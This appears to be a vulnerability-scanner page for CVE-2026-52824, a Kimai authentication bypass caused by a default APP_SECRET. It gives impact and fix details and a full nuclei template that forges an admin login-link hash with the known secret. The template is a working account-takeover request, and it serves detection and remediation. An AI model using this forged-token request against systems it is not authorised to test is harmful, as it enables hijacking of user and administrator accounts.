Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass

criticalseverity

9.1CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

Kimai Docker images <= 2.57.0 ship with a hardcoded APP_SECRET of "change_this_to_something_unique". This default secret is used by Symfony's SignatureHasher to HMAC-sign login links and remember-me cookies. An unauthenticated attacker who knows this default secret can forge valid authentication tokens and hijack any user account, including the super-admin.

Impact

An unauthenticated remote attacker can forge valid login-link URLs to authenticate as any user (including administrators) without knowing their password, achieving full account takeover.

Fix

Upgrade to Kimai >= 2.58.0 which generates a random APP_SECRET on first boot. Alternatively, manually set a unique APP_SECRET in your .env.local file.

How to confirm it

Send: GET {{BaseURL}}/en/login
Positive when: contains "Kimai" and "login_check"
Send: GET /en/auth/link/check?user=admin&expires={{expiry}}&hash={{replace(replace(replace(base64(hex_decode(hmac("sha256",fh+":"+expiry+":admin",secret))),"+","-"),…
Positive when: contains in header "KIMAI_REMEMBER=App.Entity.User" AND status 302 AND not contains in header "/login"

Run it with nuclei: nuclei -id CVE-2026-52824 -u <target>

The full check

id: CVE-2026-52824

info:
  name: Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Kimai Docker images <= 2.57.0 ship with a hardcoded APP_SECRET of "change_this_to_something_unique". This default secret is used by Symfony's SignatureHasher to HMAC-sign login links and remember-me cookies. An unauthenticated attacker who knows this default secret can forge valid authentication tokens and hijack any user account, including the super-admin.
  impact: |
    An unauthenticated remote attacker can forge valid login-link URLs to authenticate as any user (including administrators) without knowing their password, achieving full account takeover.
  remediation: |
    Upgrade to Kimai >= 2.58.0 which generates a random APP_SECRET on first boot. Alternatively, manually set a unique APP_SECRET in your .env.local file.
  reference:
    - https://github.com/advisories/GHSA-jr9p-4h4j-6c58
    - https://github.com/kimai/kimai/releases/tag/2.58.0
  classification:
    cve-id: CVE-2026-52824
    epss-score: 0.01333
    epss-percentile: 0.71379
    cwe-id: CWE-1188
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
  metadata:
    verified: true
    max-request: 2
    vendor: kimai
    product: kimai
    shodan-query: title:"Kimai"
    fofa-query: title="Kimai"
  tags: cve,cve2026,kimai,default-secret,auth-bypass,account-takeover

variables:
  fh: "D60nAF03Qti0aU2B2Z5nVMOl_evP1uYHUVXRtHzgea0~"
  secret: "change_this_to_something_unique"
  expiry: "{{unix_time()+900}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/en/login"

    matchers:
      - type: word
        words:
          - "Kimai"
          - "login_check"
        condition: and
        internal: true

  - raw:
      - |
        GET /en/auth/link/check?user=admin&expires={{expiry}}&hash={{replace(replace(replace(base64(hex_decode(hmac("sha256",fh+":"+expiry+":admin",secret))),"+","-"),"/","_"),"=","~")}}{{fh}} HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "KIMAI_REMEMBER=App.Entity.User"

      - type: status
        status:
          - 302

      - type: word
        part: header
        words:
          - "/login"
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from